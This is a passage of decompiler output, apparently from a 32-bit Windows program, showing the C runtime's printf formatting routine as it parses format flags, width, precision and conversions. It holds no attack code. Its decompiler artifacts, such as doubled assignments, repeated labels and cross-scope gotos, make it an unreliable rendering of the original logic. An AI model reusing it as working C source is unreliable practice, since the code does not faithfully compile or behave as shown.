												E004285A0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
											}
											E004358F0( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
											_t703 = _t703 + 0x10;
											__eflags =  *(_t701 - 0x10) & 0x00000008;
											if(( *(_t701 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000004;
												if(( *(_t701 - 0x10) & 0x00000004) == 0) {
													E004285A0(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
													_t703 = _t703 + 0x10;
												}
											}
											__eflags =  *(_t701 - 0xc);
											if( *(_t701 - 0xc) == 0) {
												L212:
												E004358F0( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *(_t701 - 0x24),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
												goto L213;
											} else {
												L204:
												__eflags =  *(_t701 - 0x24);
												if( *(_t701 - 0x24) <= 0) {
													goto L212;
												}
												L205:
												 *(_t701 - 0x2dc) = 0;
												 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
												 *(_t701 - 0x2cc) =  *(_t701 - 0x24);
												while(1) {
													L206:
													 *(_t701 - 0x2cc) =  *(_t701 - 0x2cc) - 1;
													__eflags =  *(_t701 - 0x2cc);
													if( *(_t701 - 0x2cc) == 0) {
														break;
													}
													L207:
													 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
													_t563 = E004344A0(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
													_t703 = _t703 + 0x10;
													 *(_t701 - 0x2dc) = _t563;
													 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
													__eflags =  *(_t701 - 0x2dc);
													if( *(_t701 - 0x2dc) != 0) {
														L209:
														 *(_t701 - 0x24c) = 0xffffffff;
														break;
													}
													L208:
													__eflags =  *(_t701 - 0x2d0);
													if( *(_t701 - 0x2d0) != 0) {
														L210:
														E004358F0( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *(_t701 - 0x2d0),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
														continue;
													}
													goto L209;
												}
												L211:
												L213:
												__eflags =  *(_t701 - 0x24c);
												if( *(_t701 - 0x24c) >= 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000004;
													if(( *(_t701 - 0x10) & 0x00000004) != 0) {
														E004285A0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
													}
												}
											}
											L216:
											__eflags =  *(_t701 - 0x20);
											if( *(_t701 - 0x20) != 0) {
												L0041C6E0( *(_t701 - 0x20), 2);
												_t703 = _t703 + 8;
												 *(_t701 - 0x20) = 0;
											}
											while(1) {
												L218:
												 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
												_t665 =  *(_t701 - 0x251);
												 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
												if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
														 *(_t701 - 0x310) = 0;
													} else {
														 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407E18) & 0xf;
													}
												}
												L7:
												 *(_t701 - 0x250) =  *(_t701 - 0x310);
												_t525 =  *(_t701 - 0x250) * 9;
												_t611 =  *(_t701 - 0x25c);
												_t665 = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
												 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
												if( *(_t701 - 0x25c) != 8) {
													L16:
													 *(_t701 - 0x318) =  *(_t701 - 0x25c);
													__eflags =  *(_t701 - 0x318) - 7;
													if( *(_t701 - 0x318) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M004357E0))) {
														case 0:
															L18:
															 *(_t701 - 0xc) = 0;
															_t528 = E00431490( *(_t701 - 0x251) & 0x000000ff, E0041AFF0(_t701 - 0x40));
															_t706 = _t703 + 8;
															__eflags = _t528;
															if(_t528 == 0) {
																L24:
																E00428500( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t703 = _t706 + 0xc;
																goto L218;
															} else {
																E00428500( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t706 = _t706 + 0xc;
																_t616 =  *( *(_t701 + 0xc));
																 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																_t665 =  *(_t701 + 0xc) + 1;
																__eflags = _t665;
																 *(_t701 + 0xc) = _t665;
																asm("sbb eax, eax");
																 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																if(_t665 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t540 = L0041E520();
																	_t706 = _t706 + 0x14;
																	__eflags = _t540 - 1;
																	if(_t540 == 1) {
																		asm("int3");
																	}
																}
																L22:
																__eflags =  *(_t701 - 0x27c);
																if( *(_t701 - 0x27c) != 0) {
																	goto L24;
																} else {
																	 *((intOrPtr*)(L00423010(_t616))) = 0x16;
																	E00422DA0(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t701 - 0x2f4) = 0xffffffff;
																	E0041AFC0(_t701 - 0x40);
																	_t518 =  *(_t701 - 0x2f4);
																	goto L229;
																}
															}
														case 1:
															L25:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L218;
														case 2:
															L26:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															__eflags =  *(__ebp - 0x31c) - 0x10;
															if( *(__ebp - 0x31c) > 0x10) {
																goto L33;
															}
															L27:
															__ecx =  *(__ebp - 0x31c);
															_t73 = __ecx + 0x435818; // 0x498d04
															__edx =  *_t73 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00435800))) {
																case 0:
																	goto L30;
																case 1:
																	goto L31;
																case 2:
																	goto L29;
																case 3:
																	goto L28;
																case 4:
																	goto L32;
																case 5:
																	goto L33;
															}
														case 3:
															L34:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t97 = __ecx - 0x30; // -48
																__edx = __eax + _t97;
																 *(__ebp - 0x18) = __eax + _t97;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															goto L218;
														case 4:
															L40:
															 *(__ebp - 0x30) = 0;
															goto L218;
														case 5:
															L41:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t108;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L218;
														case 6:
															L47:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															__eflags =  *(__ebp - 0x320) - 0x2e;
															if( *(__ebp - 0x320) > 0x2e) {
																L70:
																goto L218;
															}
															L48:
															__ecx =  *(__ebp - 0x320);
															_t116 = __ecx + 0x435840; // 0x504e9003
															__edx =  *_t116 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M0043582C))) {
																case 0:
																	L53:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L56:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L59:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L65:
																				L67:
																				goto L70;
																			}
																			L60:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L65;
																			}
																			L61:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L65;
																			}
																			L62:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L65;
																			}
																			L63:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L65;
																			}
																			L64:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x58;
																			if(__ecx != 0x58) {
																				 *(__ebp - 0x25c) = 0;
																				goto L18;
																			}
																			goto L65;
																		}
																		L57:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x32;
																		if( *((char*)(__ecx + 1)) != 0x32) {
																			goto L59;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	}
																	L54:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x34;
																	if( *((char*)(__ecx + 1)) != 0x34) {
																		goto L56;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00008000;
																		 *(__ebp - 0x10) = __ecx;
																		goto L67;
																	}
																case 1:
																	L68:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																	goto L70;
																case 2:
																	L49:
																	__eax =  *(__ebp + 0xc);
																	__ecx =  *( *(__ebp + 0xc));
																	__eflags = __ecx - 0x6c;
																	if(__ecx != 0x6c) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000010;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	}
																	goto L70;
																case 3:
																	L69:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000800;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L70;
																case 4:
																	goto L70;
															}
														case 7:
															L71:
															__ecx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x324) = __ecx;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
															__eflags =  *(__ebp - 0x324) - 0x37;
															if( *(__ebp - 0x324) > 0x37) {
																while(1) {
																	L190:
																	__eflags =  *(_t701 - 0x28);
																	if( *(_t701 - 0x28) != 0) {
																		goto L216;
																	}
																	goto L191;
																}
															}
															L72:
															_t157 =  *(__ebp - 0x324) + 0x4358ac; // 0xcccccc0d
															__ecx =  *_t157 & 0x000000ff;
															switch( *((intOrPtr*)(__ecx * 4 +  &M00435870))) {
																case 0:
																	L123:
																	 *(__ebp - 0x2c) = 1;
																	__ecx =  *((char*)(__ebp - 0x251));
																	__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																	__eflags = __ecx;
																	 *((char*)(__ebp - 0x251)) = __cl;
																	goto L124;
																case 1:
																	L73:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L75;
																case 2:
																	L88:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L90;
																case 3:
																	L147:
																	 *(__ebp - 0x260) = 7;
																	goto L149;
																case 4:
																	L81:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x288) = E004285E0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x288);
																	if( *(__ebp - 0x288) == 0) {
																		L83:
																		__edx =  *0x440f80; // 0x404478
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																		L87:
																		goto L190;
																	}
																	L82:
																	__ecx =  *(__ebp - 0x288);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L84:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x288);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x288);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L87;
																	}
																	goto L83;
																case 5:
																	L124:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L126:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L129:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L131:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041BA60(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			__ecx =  *(__eax - 8);
																			__edx =  *(__eax - 4);
																			 *(__ebp - 0x2a8) =  *(__eax - 8);
																			 *(__ebp - 0x2a4) =  *(__eax - 4);
																			__ecx = __ebp - 0x40;
																			_push(E0041AFF0(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a8;
																			_push(__ebp - 0x2a8);
																			__eax =  *0x440374; // 0xc0d8c8fb
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AFF0(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x440380; // 0xc0d7763b
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AFF0(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0x44037c; // 0xc0d772bb
																					E00424860(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																			do {
																				L190:
																				__eflags =  *(_t701 - 0x28);
																				if( *(_t701 - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			} while ( *(__ebp - 0x324) > 0x37);
																			goto L72;
																		}
																		L127:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L129;
																		}
																		L128:
																		 *(__ebp - 0x30) = 1;
																		goto L131;
																	}
																	L125:
																	 *(__ebp - 0x30) = 6;
																	goto L131;
																case 6:
																	L75:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		__ebp + 0x14 = E004285E0(__ebp + 0x14);
																		 *(__ebp - 0x284) = __ax;
																		__cl =  *(__ebp - 0x284);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																	} else {
																		 *(__ebp - 0x280) = 0;
																		__edx = __ebp + 0x14;
																		__eax = E00428620(__ebp + 0x14);
																		 *(__ebp - 0x258) = __ax;
																		__eax =  *(__ebp - 0x258) & 0x0000ffff;
																		__ecx = __ebp - 0x248;
																		__edx = __ebp - 0x24;
																		 *(__ebp - 0x280) = E004344A0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																		__eflags =  *(__ebp - 0x280);
																		if( *(__ebp - 0x280) != 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																	}
																	__edx = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	while(1) {
																		L190:
																		__eflags =  *(_t701 - 0x28);
																		if( *(_t701 - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																case 7:
																	L144:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *((intOrPtr*)(__ebp - 8)) = 0xa;
																	L153:
																	__eflags =  *(_t701 - 0x10) & 0x00008000;
																	if(( *(_t701 - 0x10) & 0x00008000) == 0) {
																		_t649 =  *(_t701 - 0x10) & 0x00001000;
																		__eflags = _t649;
																		if(_t649 == 0) {
																			__eflags =  *(_t701 - 0x10) & 0x00000020;
																			if(( *(_t701 - 0x10) & 0x00000020) == 0) {
																				_t651 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t651;
																				if(_t651 == 0) {
																					_t496 = E004285E0(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					__eflags = 0;
																					 *(_t701 - 0x2b8) = _t496;
																					 *(_t701 - 0x2b4) = 0;
																				} else {
																					_t580 = E004285E0(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t580;
																					 *(_t701 - 0x2b4) = _t651;
																				}
																			} else {
																				_t698 =  *(_t701 - 0x10) & 0x00000040;
																				__eflags = _t698;
																				if(_t698 == 0) {
																					_t581 = E004285E0(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
																					 *(_t701 - 0x2b4) = _t698;
																				} else {
																					_t584 = E004285E0(_t701 + 0x14);
																					_t703 = _t703 + 4;
																					asm("cdq");
																					 *(_t701 - 0x2b8) = _t584;
																					 *(_t701 - 0x2b4) = _t698;
																				}
																			}
																		} else {
																			_t587 = E00428600(_t701 + 0x14);
																			_t703 = _t703 + 4;
																			 *(_t701 - 0x2b8) = _t587;
																			 *(_t701 - 0x2b4) = _t649;
																		}
																	} else {
																		_t588 = E00428600(_t701 + 0x14);
																		_t703 = _t703 + 4;
																		 *(_t701 - 0x2b8) = _t588;
																		 *(_t701 - 0x2b4) = _t647;
																	}
																	__eflags =  *(_t701 - 0x10) & 0x00000040;
																	if(( *(_t701 - 0x10) & 0x00000040) == 0) {
																		goto L170;
																	}
																case 8:
																	L109:
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x298) = E004285E0(__ebp + 0x14);
																	__eax = E00434180();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L119:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			__edx =  *(__ebp - 0x298);
																			__eax =  *(__ebp - 0x24c);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		} else {
																			__eax =  *(__ebp - 0x298);
																			 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L110:
																	__edx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x32c) = 0;
																	} else {
																		 *(__ebp - 0x32c) = 1;
																	}
																	__eax =  *(__ebp - 0x32c);
																	 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E520();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x29c);
																	if( *(__ebp - 0x29c) != 0) {
																		L118:
																		while(1) {
																			L190:
																			__eflags =  *(_t701 - 0x28);
																			if( *(_t701 - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	} else {
																		L117:
																		 *((intOrPtr*)(L00423010(__ecx))) = 0x16;
																		__eax = E00422DA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x2f8) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AFC0(__ecx);
																		__eax =  *(__ebp - 0x2f8);
																		goto L229;
																	}
																case 9:
																	goto L0;
																case 0xa:
																	L146:
																	 *(__ebp - 0x30) = 8;
																	goto L147;
																case 0xb:
																	L90:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x328) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x328) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x328);
																	 *(__ebp - 0x290) =  *(__ebp - 0x328);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E004285E0(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L101:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x28c) =  *(__ebp - 4);
																		while(1) {
																			L104:
																			__ecx =  *(__ebp - 0x290);
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L105:
																			__eax =  *(__ebp - 0x28c);
																			__ecx =  *( *(__ebp - 0x28c));
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L106:
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																		}
																		L107:
																		__eax =  *(__ebp - 0x28c);
																		__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																		__eflags = __eax;
																		 *(__ebp - 0x24) = __eax;
																		goto L108;
																	} else {
																		L94:
																		__eflags =  *(__ebp - 4);
